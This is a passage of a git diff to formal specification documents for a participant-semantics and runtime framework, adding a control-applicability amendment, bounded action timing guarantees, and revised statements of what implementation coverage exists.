separately identified. + +`validate_evidence_requirement_relations()` resolves the exact caller-supplied +artifacts without rewriting either input. The processor's +`compile_scoped_evidence_requirement_demands()` then concatenates the incumbent +SDL and capture-spec demand projections so admission evaluates every base and +scoped obligation independently. Empty relation collections retain open scope: +they do not require an author to declare backend recipes, captured specimens, +retention/export policy, or other unmentioned implementation detail. +The authoritative trial compiler supplies both task and run-plan relations to +that function against the immutable expanded scenario. Trial realization +revalidates the same relation set from the digest-bound authoring inputs before +processor planning. Authoritative archival run and study validators also +resolve every carried relation against exact caller-supplied scenario and +capture-specification artifacts. Version-2 task, run, and study owner +projections include the relation set, while revision 1 retains its historical +meaning and is not accepted for current relation-bearing carrier schemas. + +| Invariant / matrix row | Realizing artifact | Test | +| --- | --- | --- | +| EXP-731 relations cover task, run-plan/run, and study scopes | `ExperimentEvidenceRequirementRelationModel` plus carrier ownership validation | `test_relation_is_reused_by_task_run_plan_run_and_study_carriers` | +| Authored scenario meaning remains immutable and exactly identified | `validate_evidence_requirement_relations()` canonical scenario and declaration resolution | `test_refinement_resolves_exact_lineage_and_preserves_the_authored_scenario`, `test_refinement_rejects_changed_scenario_identity_and_wrong_authority` | +| Refinements preserve named base dimensions and strengthen at least one | dimension-keyed fail-closed comparators | `test_refinement_fails_closed_when_a_declared_dimension_is_not_monotone` | +| Artifact-role alternatives cannot broaden accepted evidence | alternative-set comparator aligned with evidence satisfaction | `test_artifact_role_refinement_rejects_an_added_alternative` | +| Extensions preserve open scope while composing obligations conjunctively | `compile_scoped_evidence_requirement_demands()` | `test_extension_compiles_base_and_scoped_demands_conjunctively_without_filling_open_detail` | +| Relation changes are visible to governed task, run, and study comparison | relation-aware version-2 owner projections | `test_semantic_comparison_detects_relation_changes` | +| Trial compilation and realization enforce authoritative relations | relation-aware compiler and processor-planning paths | `test_trial_compiler_rejects_invalid_authoritative_relations`, `test_trial_realization_revalidates_relations_against_the_authoring_scenario` | +| Archival run and study validation resolves relation lineage and monotonicity | `validate_experiment_run_against_task()`, `validate_experiment_study_against_tasks_and_runs()` | `test_authoritative_archival_run_validation_resolves_relation_artifacts`, `test_authoritative_archival_study_validation_resolves_relation_artifacts` | + ## Implementation Coverage (#1212 / Scoped Observation Demand) Issue #1212 adds `observation-demand-v1` as the shared demand carrier without diff --git a/specs/formal/participant-behavior-model/README.md b/specs/formal/participant-behavior-model/README.md index b45415d7d..09df523ea 100644 --- a/specs/formal/participant-behavior-model/README.md +++ b/specs/formal/participant-behavior-model/README.md @@ -12,7 +12,12 @@ This document is the issue #77 formal design artifact for: It is governed by ADR-067. It composes the participant semantics from ADR-022 with SDL participant framing, participant runtime records, backend-facing contracts, controlled vocabularies, and participant implementation provenance. -It is a design artifact, not an implementation artifact. +It remains the normative design artifact for the complete behavior-model +family. That historical role does not make all implementation coverage absent: +the delivered ACT-606 slice below provides SDL authoring, semantic validation, +generated schema coverage, compiled runtime records, and focused tests. It +does not establish complete ACT-602, ACT-607, or ACT-608 behavior-model +enforcement or mixed-backend conformance. ## Current Coverage And Gap @@ -577,9 +582,22 @@ The source and conformance contract is specified in ## ACT-617 - Mixed-Control Participant Operation +Issue #1351 and ADR-110 amend the normative policy/application distinction in +[`mixed-control-policy-occurrence/rev1`](../participant-semantics/reusable-mixed-control.md). +MC-01–MC-09 define reusable permissions, explicit finite scripts, exact +occurrences, source-controller authority, validity, replay and directed-delivery +joins. The [migration contract](../../../docs/migration/reusable-mixed-control.md) +preserves historical meaning and states the required reader boundary. + +### Legacy fixed-coordinate form + +The following describes the currently published SDL/compiler form and its +retained historical interpretation. It is not evidence of executable adoption +of the reusable amendment. + A behavior specification in `mixed-control` mode carries one explicit `mixed_control` policy for one of its `participant_refs`. The policy is a -closed authored state graph, not a runtime decision history: +closed authored graph with fixed occurrence coordinates, not a runtime decision history: ```text MixedControl = diff --git a/specs/formal/participant-runtime/README.md b/specs/formal/participant-runtime/README.md index b0188e276..ba5741b71 100644 --- a/specs/formal/participant-runtime/README.md +++ b/specs/formal/participant-runtime/README.md @@ -7,10 +7,11 @@ This document is the issue #74 formal design artifact for: - `RUN-307` - Shared Operational State Model - `RUN-308` - Concurrent Participant Execution -It is a design artifact, not an implementation artifact. It establishes the -runtime model that later per-UID implementation issues must realize in -contracts, processor/runtime helpers, backend capability declarations, -conformance checks, and tests. +It is the normative design artifact for the participant-runtime family. Its +original design status does not mean the family is wholly unimplemented: +bounded per-UID slices now exist in contracts, processor/runtime helpers, +backend capability declarations, conformance checks, and tests. The remaining +boundaries below state what those slices do not establish. Enum blocks use formal names. Implementation schemas should publish a single wire spelling and document the mapping; the intended wire spelling is lowercase @@ -18,7 +19,8 @@ snake_case unless an existing RAES contract family requires a different style. ## Current Sufficiency Finding -The existing implementation is not sufficient for `RUN-305` through `RUN-308`. +The existing implementation provides bounded `RUN-305` through `RUN-308` +slices, but is not sufficient for the complete participant-runtime family. What exists: @@ -40,28 +42,25 @@ What exists: exposure-policy evidence for participant implementations used in a run. - Backend manifests can declare participant runtime roles, behavior features, interaction features, and required evidence contracts. +- The bounded RUN-305 runtime state/history slice has contract, schema, + semantic-validator, runtime-adapter, control-plane, and focused integration + coverage in `test_run_305_participant_runtime_state_history.py`. +- `test_participant_runtime_invariants.py` is separately a closed, test-local + oracle for selected formal trace predicates; it is not production runtime + enforcement evidence. What is missing: -- no joint participant runtime model that binds episode state, behavior - history, shared operational state, and concurrent execution; -- no formal statement that the `RUN-306` lifecycle is observable boundary - semantics rather than a participant-internal planner loop; -- no versioned shared operational state envelope with revision, digest, - visibility projection, conflict policy, provenance, and markings; -- no abstract state machine for action lifecycle, observation, operation, and - shared-state commits; -- no concurrency model that prevents implicit last-writer-wins or timestamp-only - ordering claims; -- no information-state semantics for noisy, lossy, stochastic, or redacted - observations; -- no full benchmark/runtime provenance surface sufficient for reproducibility - claims beyond the participant implementation manifest/provenance contracts; -- no per-UID design coverage for `RUN-305`, `RUN-306`, `RUN-307`, and - `RUN-308`. - -The repository is therefore at design coverage after this artifact, not -implementation coverage. +- no complete cross-backend runtime realization, interoperability, or + conformance proof spanning the full RUN-305 through RUN-308 family; +- no deployed-backend proof that elevates bounded contracts and probes into + universal concurrency, information-state, benchmark, or reproducibility + guarantees; or +- no basis to infer mixed-backend delivery from the open #1013 through #1019 + work. + +The repository is therefore at partial implementation coverage, not complete +family or deployed-backend conformance coverage. ## Source Alignment And Design Constraints diff --git a/specs/formal/participant-semantics/README.md b/specs/formal/participant-semantics/README.md index 75ef83bce..2069eb882 100644 --- a/specs/formal/participant-semantics/README.md +++ b/specs/formal/participant-semantics/README.md @@ -1,5 +1,25 @@ # Participant Semantics Formal Design +Issue #1354 and ADR-114 publish [IFC profile variability and publication](ifc-profile-variability.md). +The amendment separates authored requirements, exact profile expressibility +and evidenced realization, preserving this document's original revision and +implementation boundary. It adds no registered owner-aware profile or runtime +support; its migration contract governs future adoption. + +Issue #1352 and ADR-111 publish the +[control applicability and evaluation amendment](control-applicability-and-evaluation.md) +for SEM-235/API-424. Its bounded model tests the semantic decision; the linked +migration contract preserves the published v1 and runtime-adoption boundary. + +The [ACT-618 local outcome extension](local-outcomes.md) defines role-neutral +categories and evolving participant-local state within the SEM-215 family. + +Issue #1351 and ADR-110 publish the +[reusable mixed-control policy/occurrence contract](reusable-mixed-control.md) +for ACT-617, API-409, RUN-310 and DSL-142. Its finite model is design evidence; +the contract states the fixed-coordinate implementation and historical-reader +boundary explicitly. + This document is the issue #71 formal design artifact for: - `SEM-208` - Participant Behavior Semantics @@ -17,14 +37,26 @@ This document is the issue #71 formal design artifact for: - `SEM-232` - Proof-Bearing Participant-Crossing Bisimulation - `SEM-233` - Adversarial Participant Boundary Information-Flow Control - `SEM-234` - Mixed Cross-Backend Participant-Control Composition +- `SEM-235` - Modular Participant Control and Extensible Dynamic IFC Semantics - `ASR-536` - Intentional-Subversion Participant Control Evaluation - `ASR-537` - Cross-Backend Participant-Control Realization And Transfer Evidence - `DSL-437` - Benign Participant Autonomous Execution -It is a design artifact, not an implementation artifact. It establishes the -semantic model that later child implementation issues must realize in SDL -models, semantic helpers, compiler/runtime contracts, evidence/provenance -contracts, and tests. +It is the normative design artifact for the participant-semantics family. Its +original design status does not mean the family is wholly unimplemented: +delivered slices now bind parts of the model into SDL models, semantic helpers, +compiler/runtime contracts, evidence/provenance contracts, and focused tests. +The remaining boundaries below state what those slices do not establish. + +Issue #1070 publishes [`sem-235/rev1`](modular-participant-control.md) under +ADR-108: separately revisioned IFC domains, typed mechanism composition and +independently governed effects. The teaching-influence/rev1 semantic profile +and unchanged SEM-233 security profile have bounded symbolic witnesses. +Publication preserves SEM-230 projection and SEM-233 security meanings; +API-424 contracts, RUN-320 orchestration and ASR-538 conformance retain their +separate fulfillment boundaries. The +[verification record](../../../docs/research/modular-participant-control/semantic-verification.md) +states exact coverage and assumptions. Issue #119 and ADR-083 extend the original issue #71 design with the joint `SEM-219`, `SEM-220`, and `SEM-226` decision-surface model. Their executable @@ -66,7 +98,10 @@ runtime enforcement, backend realization, monitor-honesty, covert-channel, or adversarial-robustness result. Issue #813 and ADR-102 add the SEM-234 mixed-composition and ASR-537 -realization/transfer-evidence design. Their normative profiles are in +realization/transfer-evidence design. Issue #1013 publishes `sem-234/rev1` +with bounded executable admission and transition witnesses, aligned with +ADR-105's delegated choices and independent observation demand. +Their normative profiles are in [`cross-backend-participant-control.md`](cross-backend-participant-control.md). The design supports both alternative simulation/emulation realization and simultaneous mixed realization, plus linked inter-trial and finite @@ -84,7 +119,8 @@ readback. It adds no parallel actor or private time semantics. ## Current Sufficiency Finding -The existing implementation is not sufficient for `SEM-208` through `SEM-215`. +The existing implementation provides bounded `SEM-208` through `SEM-215` +slices, but is not sufficient for the complete participant-semantics family. What exists: @@ -98,25 +134,28 @@ What exists: - Objective, workflow, assessment, planner, runtime-result, and semantic-profile surfaces already provide patterns for shared semantic helpers and contract boundaries. +- Focused SEM-208 and SEM-211 action/observation semantics are exercised by + `test_sem_208_participant_behavior.py` and + `test_sem_211_participant_action_semantics.py`; the abstract invariant model + has bounded oracle coverage in + `test_participant_semantics_invariant_oracle.py`. +- #1013 publishes bounded `sem-234/rev1` admission and transition witnesses; + `test_sem_234_mixed_composition.py` is bounded semantic evidence, not a + deployed mixed-runtime conformance result. What is missing: -- no normative participant action contract beyond action names -- no observation model that distinguishes world truth from participant-visible - projection -- no visibility, discovery, concealment, disclosure, or inference semantics -- no precondition/effect/side-effect/failure taxonomy for participant actions -- no joint-action model for coordination, contention, interference, or - shared-state change among participants -- no temporal participant behavior model for cadence, dwell, deadlines, - latency, schedule, or time-windowed action interpretation -- no evidence-labeled causality and attribution model connecting participant - actions to state changes, detections, alerts, or downstream outcomes -- no participant-local outcome interpretation layer relating action/episode - outcomes to objectives, workflows, evaluations, rewards, and evidence - -The repository therefore remains at `partial` participant-semantics coverage -where runtime implementation slices are incomplete. Issue #487 adds +- no complete cross-backend runtime realization or conformance proof for the + semantic family +- no deployed-backend proof that extends the bounded oracle or mixed-composition + witnesses to interoperability, transfer, noninterference, or equivalence +- no claim that inherited delegation, complete abstract models, one-choice + admission, independent observation demand, or the #1212 policy correction + has shipped merely because related design or research material exists + +The repository therefore remains at `partial` participant-semantics coverage: +delivered runtime and semantic slices remain incomplete for the full family. +Issue #487 adds `implementations/python/tests/test_participant_semantics_invariant_oracle.py` as the executable FM-2 assurance artifact for the abstract model invariants `I1` through `I18`: it is implementation evidence for the published invariant diff --git a/specs/formal/participant-semantics/adversarial-flow-control.md b/specs/formal/participant-semantics/adversarial-flow-control.md index f90980486..4242503de 100644 --- a/specs/formal/participant-semantics/adversarial-flow-control.md +++ b/specs/formal/participant-semantics/adversarial-flow-control.md @@ -1,5 +1,11 @@ # SEM-233 And ASR-536 Adversarial Participant Flow Control +Issue #1354 and ADR-114 publish [IFC profile variability and publication](ifc-profile-variability.md). +The amendment separates authored requirements, exact profile expressibility +and evidenced realization, preserving this document's original revision and +implementation boundary. It adds no registered owner-aware profile or runtime +support; its migration contract governs future adoption. + Status: SEM-233 definition and portable-contract authority are published; runtime, backend, and ASR-536 evaluation obligations remain DRAFT. diff --git a/specs/formal/participant-semantics/autonomous-execution.md b/specs/formal/participant-semantics/autonomous-execution.md index 49a2b4f8b..405ef1747 100644 --- a/specs/formal/participant-semantics/autonomous-execution.md +++ b/specs/formal/participant-semantics/autonomous-execution.md @@ -32,9 +32,9 @@ the participant and parent behavior specification. \(G_P\) and every member of \(T_P\) use \(C_P\). Exactly one member of \(T_P\) is a cadence constraint. Cadence starts must be non-negative. For stepped progression, its start and period must be integer multiples of `step_ticks`; unreachable cadence points -are invalid. Externally paced -autonomous policies are rejected until a portable backend-to-runtime transition -driver exists. Runtime-owned wall pacing drives `real_time` and `dilated` +are invalid. Externally paced policies remain valid SDL; reference-runtime +admission rejects them until its transition driver supports them. +Runtime-owned wall pacing drives `real_time` and `dilated` policies only when the bound clock declares runtime authority. Backend, system, and external clock authorities are never advanced by the participant driver. Stepped and event-driven clocks advance only through shared-time @@ -101,6 +101,65 @@ V1 and v2 limits compile into the same canonical demand representation with `legacy_maximum` provenance. They do not acquire v3 capacity, fairness, isolation, or runtime-accounting requirements. +## Bounded Action Guarantees (ACT-614) + +An action temporal contract opts into `participant-shared-time/v1` through +`shared_time_binding`. Legacy temporal descriptions retain their meaning; +cadence, waiting and cooldown never imply a deadline or continuous dwell. +The binding selects a declared clock and a constraint naming that action. +The selected event must appear in the action's declared event points. An +autonomous policy and its bound actions use the same shared clock. + +- A deadline selects `start`, `end` (completion), `observed`, or `effective`. + The selected event coordinate must be at or before the inclusive deadline. + Submission after that bound is rejected before native dispatch. Submission + before it does not prove completion or effects occurred on time. +- Dwell selects an action precondition, observation boundary and nonempty + half-open window `[start, end)`. Before dispatch, evidence must cover that + entire interval continuously with the condition true. Samples, gaps, + overlapping coverage and intervals crossing a pause are insufficient. + The boundary must belong to the behavior and each bound participant, and + match the autonomous policy's observation boundary. Condition support must + be observable there; condition evidence must be declared there. + +Coordinates are ordered by segment, tick, then microstep. Authored bounds are +relative to the current shared-clock segment. Each attempt binds its action, +participant, episode, segment, execution generation and clock-history cut. +Reset/replay creates a new attempt identity and requires new evidence; stale +completions cannot commit into the new generation. Pause stops admission and +does not certify continuous dwell while the clock is frozen. + +Compilation hashes the resolved guarantee, clock, time domain and constraint; +dwell also covers its condition and observation declaration. One manifest +execution offer must cover the action/target/implementation combination, +requested limits and all its temporal digests. Unrelated offers cannot be +combined to infer support. Empty, partial and rich support declarations are +valid; insufficiency rejects only the requested pairing. + +Runtime assessments are `met`, `missed` or `indeterminate`, separate from +native action status and effects. Missing, mismatched or insufficient proof +cannot produce `met`. An unsatisfied guarantee stops automatic retries; it +does not establish cancellation or rollback. A failed guarantee after a +shared-time advance does not erase that advance or committed native history. +Durable and API readback validate context continuity, clock cuts and evidence +against the assessment. Reference tests establish protocol behavior, not +native application fidelity or continuous-monitoring implementation. + +Every proof must match an exact runtime-issued context and its authorized +observation boundary. Duplicate or foreign proofs and unauthorized evidence +references fail protocol validation before history commit. Backend callbacks +receive detached request graphs; they cannot alter the runtime's validation +authority. Manual admission uses compiled temporal requirements, not backend +capability claims, to prevent bypass of the reference temporal driver. + +A pre-dispatch rejection records a temporal applicability precondition +`shared-time:` and `precondition_unsatisfied`; it reports no +native effects. Its assessment explicitly records `not_dispatched`. + +The reference execution path supports these bindings through autonomous +v1/v2/v3 policies. It rejects unbound manual execution at runtime admission; +this is not an SDL restriction or a required backend architecture. + ## Non-Evaluated Authority Invariant When `evaluation_authority.mode = none`: @@ -349,17 +408,19 @@ feature set. A reset-capable policy additionally requires the coordinated participant-reset capability and runtime method. Runtime state, typed native action outcome, history, and backend evidence establish what occurred. -Autonomous admission also requires all six execution-control actions, -`supports_bounded_concurrency`, positive execution-service capacity, and -`max_concurrent_actions \ge 2`. Conditional live conformance executes two -native actions and the lifecycle sequence. Schema-valid declarations without -typed native outcomes, operation accounting, service readback, or transition -evidence fail conformance. +Autonomous admission does not require native lifecycle controls or concurrency. +Require concurrency only when the policy requests more than one in-flight +action. Each lifecycle request requires that exact claimed operation. +Conditional conformance exercises only claimed capabilities, with valid +preconditions supplied independently for partial control sets. Claims without +the corresponding typed outcomes and evidence fail conformance. V2 additionally requires exact admission of: - `participant-autonomous-execution/v2`; -- all governed activity features; +- work windows, weighted selection, occurrence provenance, and any additional + activity features actually requested (variation, dependencies, retries, + cooldowns, or bursts); - `weighted`; - `blake3-xof-participant-v1`; - shared-time `window`; and diff --git a/specs/formal/participant-semantics/control-applicability-and-evaluation.md b/specs/formal/participant-semantics/control-applicability-and-evaluation.md new file mode 100644 index 000000000..e3d1bd6fa --- /dev/null +++ b/specs/formal/participant-semantics/control-applicability-and-evaluation.md @@ -0,0 +1,270 @@ +# Control applicability, dependency evaluation and effect decisions + +Authority: SEM-235/API-424 and [ADR-111](../../../docs/decisions/adrs/adr-111-control-applicability-and-effect-decisions.md). +Semantic identity: `participant-control-applicability/rev1`. Classification: FM3. + +This is the #1352 amendment to MPC-01–03 and MPC-05–11 of +[modular participant control](modular-participant-control.md). The original +`sem-235/rev1` publication remains interpretable at its historical revision. +This amendment defines semantics and contract obligations, not a new wire +schema or an installed provider protocol. Executable adoption follows the +[migration contract](../../../docs/migration/control-applicability-and-evaluation.md). +MPC-04's domains, SEM-233, visibility, fresh identity, causal bounds and the +separate admission/authority/realization boundaries remain binding. + +## CA-01 — Apparatus and obligation coverage + +Let B be the immutable admitted apparatus: exact profile and mechanism +instances, implementations, configurations, protocol and semantic revisions, +authorities, support requirements, state scopes and finite bounds. Let K be the +complete MPC-03 context, including B's identity, subject/crossing/sink/phase, +participant/episode, policies, input identities, expected history heads and +provider-state versions. A different sink at a different K does not change B. + +Each selected required profile publishes a finite, typed obligation relation. +Its obligations are derived from the profile and admitted configuration before +looking at provider responses. Merely listing a profile or installing a +provider does not cover an obligation. For each obligation o, trusted resolution +at K produces exactly one of: + +| Applicability | Required record and consequence | +| --- | --- | +| Applies | The obligation identity/revision, exact K and a complete mapping to admitted result slots and required support constraints. Missing or ambiguous coverage blocks the affected parent. | +| Proven inapplicable | The profile-owned applicability relation, exact B/K and safe evidence establishing why o does not apply. No result is required for o at this K. | +| Unresolved | An explicit unresolved record. No permission or empty-success interpretation is available. | + +Coverage is a total accounting of required obligations, including those +proven inapplicable. An applicable obligation cannot have an empty discharge +set unless its published relation explicitly defines a checkable zero-result +discharge; absent data never establishes that case. The finite model uses no +such zero-result discharge. Coverage maps preserve all selecting profiles and +all conjunctions: one shared result cannot erase another owner's conditions. + +The applicable invocation subset A(B,K) consists of admitted slots relevant to +this crossing plus their declared input dependencies. It refers into B; it is +not a replacement selection whose digest must equal B. Record both identities +and the derivation of A. A dependency outside its admitted input applicability +is unsatisfied, not permission to invoke elsewhere. Providers absent from A +are not failures merely because they serve a different sink. An empty A is +valid only with complete obligation accounting and satisfied incumbent gates. + +No provider, no result, a resolver returning `None`, a mismatch or an exception +proves inapplicability. A new cut requires new applicability resolution. An +apparatus without modular requirements can explicitly record no modular +evaluation; this preserves all ordinary gates. An installed apparatus requiring +evaluation cannot use that disposition to hide resolution failure. A change +to B requires its own authorized admission transition, never subset filtering. + +## CA-02 — Invocation and predecessor inputs + +The evaluation unit is a declared **slot or finite stage of slots**, not one +unqualified call per provider. The admitted typed dependency graph is finite +and acyclic. Edges identify producer slot, result kind and revision, consumer +input and required satisfaction relation. Unknown edges, type mismatches, +duplicate identities and cycles are inadmissible. A.fact → B.assessment → +A.rule is valid when its slot graph is acyclic, even though a provider recurs. + +Before invoking a stage, resolve every required predecessor and validate its +typed content, originating invocation, instance/configuration, B, K, state +version, status and evidence. The dependent invocation carries detached, +immutable predecessor results or content-bound references that resolve to +those exact results. Its output binds the invocation identity, requested slots +and complete predecessor-input identity as well as K. Sharing K alone does +not prove that the provider consumed the required result. + +Only the declared disclosure-authorized projection is provided. An edge does +not authorize private provider-state access or disclosure of the whole +apparatus. Hidden shared memory, ambient result lookup and recomputing another +provider's fact are not substitutes for the declared input. Missing mandatory +input creates an explicit unsatisfied consumer result; it cannot be passed as +an empty input list and treated as a successful evaluation. + +Invoke ready independent stages in any order consistent with the admitted +state/independence relation. Canonical sorting is serialization, never a winner +or causal authority. Composition consumes the recorded results, including +stochastic assessments; replay does not resample an assessment under an old +result identity. Bound stages, edges, predecessor material, result count, +bytes, attempts and external computation before invocation/iteration. Provider +construction remains operator/backend-owned; no scenario-selected code or +general workflow interpreter is introduced. + +## CA-03 — Mandatory closure and optional contributions + +Let R be the roots required by applicable profile obligations and mandatory +decision/rule slots. Let M be their transitive **required-input** closure in the +admitted graph. Every input in M must meet its typed satisfaction and support +relation. Admission explicitly records that closure; execution cannot silently +upgrade an optional dependency to required or drop it to preserve success. + +Availability and decision authority are distinct. A mandatory fact must be a +valid fact. Required advice must be a valid assessment, even if its opinion is +negative. A mandatory decision must permit. Only an admitted decision rule +interprets advice into a parent decision. Deny/withhold cannot be supplied by +an optional advisory score itself. Mandatory abstention remains unsatisfied. + +A rule evaluation records either a typed request with its trigger basis or an +explicit **not triggered** result with the evaluated basis. A resolved false +trigger discharges the evaluation obligation and creates no effect. Missing, +failed, unsupported or stale rule evaluation does not mean not triggered. + +An optional contribution outside M can be absent, malformed, stale, failed or +unsupported without vetoing the parent. At its declared invocation boundary, +normalize rejection to a safe typed failure/absence record and discard its +payload, state proposal and effect requests. Preserve bounded lost-advice +evidence. Do not catch failure of the whole evaluation and relabel it optional. +Role comes from B and M, not from an untrusted result's self-description. + +Optional suggestions that conflict with mandatory constraints, effects or +state are discarded with evidence; they do not block the mandatory plan. +Mutually incompatible optional suggestions are all omitted unless an admitted +deterministic rule chooses a compatible set. A rule whose requested consequence +is necessary for parent release belongs to M and requires ordinary authority. +An optional provider cannot write mandatory shared state through an undeclared +path. Invalid apparatus, forged shared context or unresolved required coverage +remains an admission failure, regardless of claimed optionality. + +## CA-04 — Support is relative to the requirement + +Each obligation and required input pins its required semantic coverage, +strength, admissible loss/constraints and evidence basis. Reuse API-407's +effective-support resolution and API-424's support bindings. The satisfaction +relation is evaluated at K over those dimensions; a name such as exact or +bounded, a manifest declaration or a numeric rank alone is insufficient. + +Bounded support is usable when its independently resolved coverage and bounds +satisfy the already admitted requirement. For example, a published requirement +allowing an evidenced error bound of at most two units can accept a compatible +one-unit realization, while an exact requirement cannot. This example defines +no universal loss unit or strength ordering. Unknown, incomparable or +insufficient evidence leaves the obligation unsatisfied. + +An authority to downgrade does not prove satisfaction. A different requirement +or weaker profile needs an explicit, separately identified effective binding, +authorization and disclosed claim limits. Other profiles' obligations remain +unchanged. Unsupported optional advice is lost advice; unsupported required +input or prerequisite prevents the release it was needed for. + +## CA-05 — Scoped state and atomic evaluation commit + +Provider state has its own admitted scope: mechanism instance, configuration, +authority and explicitly selected run/participant/episode sharing domain. +Profile identity and participant memory scope are not state-store keys by +themselves. A reset does not imply cleared influence or a fresh causal budget. +Sharing across participants or profiles requires explicit authority, isolation +and disclosure rules, exact state identity and common concurrency coverage. + +All invocations begin from pinned immutable state versions. A next-state +reference is speculative. Shared-instance deduplication requires identical +binding, inputs/predecessors, configuration, authority and state scope, retaining +every selecting profile. Equal implementation names do not establish sharing. + +Multiple updates to one state scope require an admitted serial transition +chain or a conflict. A serial edge explicitly supplies the predecessor's +tentative state as a versioned input; it is not an ambient committed mutation. +Reject an undeclared writer, a fork or unordered competing updates. Independent +state scopes may proceed independently; optional rejected contributions cannot +mutate either their own committed state or mandatory state. + +The admitted transition rule distinguishes evaluation-state updates (for +example, recording an observation) from updates conditional on parent release. +A refused parent may commit the former only when explicitly authorized. It +cannot commit action-success state or discarded candidate state. All accepted +updates, the complete decision/reasons, coverage and result bindings, authorized +effect intents, logical claims and consumed budgets commit in one expected-head +and state-version transaction under the incumbent ADR-104 store authority. +Every shared scope must participate; unsupported cross-store atomicity is +unsupported support, never best-effort success. + +Stale heads or failed commit publish no speculative state and dispatch nothing. +Retry resolves a fresh K within the admitted attempt budget. Commit alone +proves no world effect. Final invocation retains current authority/capability, +target/policy checks and generation fencing or an equivalent dispatch lease. + +## CA-06 — Parent decisions and effect targets + +A **parent decision** concerns the exact crossing/proposal being evaluated. +Permit means only that this decision does not block it; deny refuses it; +withhold keeps it pending with a bounded resumption/expiry condition. These +decisions are settled before release, with every mandatory reason retained. +Deny is never reduced to withhold merely because another prerequisite exists. +Permit cannot override deny/withhold or an incumbent gate. + +The revised contract represents parent decisions as unscheduled decisions, +separate from executable effect requests. An old-shaped parent-targeted +permit/deny/withhold is not an independently executable operation. During an +explicit source conversion its meaning must be preserved before phase +composition; a purported instruction to deny an already released parent is +invalid. Never dispatch the parent and schedule its denial for later. + +Every executable effect names its own exact typed target and owner, originating +principal/authority, rule, trigger, identity, phase and outcome prerequisites. +A decision about another target belongs to that target's admission context; +it is not permission to mutate its history from this evaluation. Effect target, +parent relationship and execution order must be represented separately. + +## CA-07 — Prerequisites, consequences and order + +| Relation | Parent meaning and execution condition | +| --- | --- | +| Required predecessor | Parent remains withheld until the exact prerequisite owner outcome is satisfied. Commit the withhold and independently admitted prerequisite. Reevaluate the parent at a fresh K after completion. Completion does not erase any other blocker. | +| Success-dependent consequence | Execute only after evidence of the declared parent outcome, such as application. A committed intent, dispatch attempt or accepted receipt does not establish application. Consequence failure does not undo an applied parent. | +| Independent consequence | An admitted rule may request an audit/review for specified parent dispositions, including deny/withhold. The committed decision is the trigger; the consequence has its own authority, support, target, admission and outcome. It cannot release or resurrect the parent. | + +A consequence intentionally dependent on admission rather than application +must name that admission event as its prerequisite; it cannot claim a +successful realized parent. Required predecessors run only when remaining +parent blockers are exactly the prerequisites they can satisfy. Work for a +denied parent requires a separately admitted independent-consequence rule. + +Check the combined graph of parent release/outcome events and effect +prerequisites, not just the provider DAG or each phase separately. A +prerequisite waiting on its own parent's success is cyclic and inadmissible. +Every prerequisite receipt binds exact logical intent, target, owner outcome +and its validity relation at the fresh cut. Stale, mismatched, failed, +unsupported and indeterminate outcomes authorize no dependent dispatch. + +MPC-07's target compatibility still applies: order cannot repair conflicting +replacements, routes, handoffs or lifecycle outcomes. A shutdown cannot precede +an operation requiring that target live. A transform withholds/supersedes the +old candidate and creates a fresh candidate with lineage and ordinary gates; +it cannot both release the original and replace it. Disjoint operations may +remain unordered only with admitted independence. All-or-nothing external +plans require evidenced backend transaction support. + +## CA-08 — Complete composition and evidence + +Parent eligibility conjoins incumbent gates, total required coverage, every +typed satisfaction/support relation in M, conflict-free required state/effects, +and satisfied required predecessor outcomes. Release additionally requires the +atomic commit and final-invocation guards. Eligibility, authorization, committed +intent, attempted execution, application, delivery and observation stay distinct. + +Preserve all contributor and safe failure records in canonical instance/slot +order, all required blockers and all discarded optional contributions. A +displayed disposition summarizes rather than deletes reasons. No response, +schema acceptance, method presence or digest proves installed capability, +authority or realization. Reuse bounded references, coarse reasons and ordinary +participant/audience projection; denial, timing and audit existence are also +potential disclosures. + +Logical effect keys, allocated fresh identities, per-root/per-rule budgets, +finite depth/fan-out/retry limits and expiry retain MPC-11/12 meaning. Shared +causal roots across histories retain one authoritative consumption boundary. +Replay does not reset consumption, recompute old applicability, invoke a +provider again or dispatch an uncertain effect. An indeterminate effect needs +exact owner reconciliation; local commit is not distributed exactly-once +execution. Unpublished domains or effect variants remain unsupported. + +## CA-09 — Publication and claim boundary + +The [worked cases and verification map](../../../docs/research/control-applicability/cases.md) +bind each decision to bounded counterexamples. Existing SEM-235 domain, +freshness, authority, budget and recovery witnesses retain their original +scope. This publication supplies no new schema, production scheduler, provider, +storage engine, runtime adoption, external cancellation, delivery guarantee, +backend parity, unbounded liveness or noninterference proof. + +Producer, protocol, reader, retained history and capability admission must adopt +the new meaning coherently under the migration contract. Semantic acceptance +amends the requirements; it does not upgrade their historical implementation +evidence into proof of the new clauses. diff --git a/specs/formal/participant-semantics/cross-backend-participant-control.md b/specs/formal/participant-semantics/cross-backend-participant-control.md index 7535670a5..264eb588f 100644 --- a/specs/formal/participant-semantics/cross-backend-participant-control.md +++ b/specs/formal/participant-semantics/cross-backend-participant-control.md @@ -2,14 +2,26 @@ Requirements: SEM-234 and ASR-537. -Status: DRAFT design. +Status: published SEM-234 semantic definition; ASR-537 realization evidence +remains DRAFT. Publication does not establish runtime support. -Issue: #813. +Authority revision: `sem-234/rev1`. + +Composition profile: `mixed-cross-backend-participant-control-v1@rev1`. + +Issues: #813 (design), #1013 (semantic publication). This specification composes existing scenario-family, experiment/trial, participant-control, crossing, time, backend-capability, and evidence authorities. It defines no wire contract or positive runtime/backend claim. +Revision 1 retains MCB-001–045 identities and makes their admission and +transition relations precise below. It composes accepted ADR-102 with the +progressive-specification correction in +[ADR-105](../../../docs/decisions/adrs/adr-105-recursive-partial-description-semantics.md). +Profile revision, document status, wire version and realization evidence are +independent. Historical #813 research/program dispositions remain historical. + ## 1. Domains Let: @@ -20,7 +32,7 @@ Let: - \(U\) be stable compiled allocation units; - \(C\) be admitted apparatus components; - \(F\) be realization forms; -- \(A \subseteq U \times C\) be allocation; +- \(A_\phi \subseteq U \times C\) be allocation in phase \(\phi\); - \(T = (C,X)\) be a directed composition topology with edges \(X\); - \(\Phi = [\phi_0,\dots,\phi_n]\) be an optional finite phase schedule; - \(K\) be the exact participant-control and crossing state cut; @@ -94,17 +106,20 @@ These relations are pairwise non-substitutable: Revision 1 requires: \[ -|\operatorname{controller}(p,e,K)| = 1 +|\operatorname{selectedController}(p,e,K)| = 1 \] It defines no positive lease, simultaneous scoped-controller, joint, or fused -control relation. +control relation. One selected identity does not imply active authority: +revoked, expired, stale or unresolved authority permits no action. Pending +handoff leaves the prior controller selected, subject to its own current +authority. Provider and native ownership changes do not change this 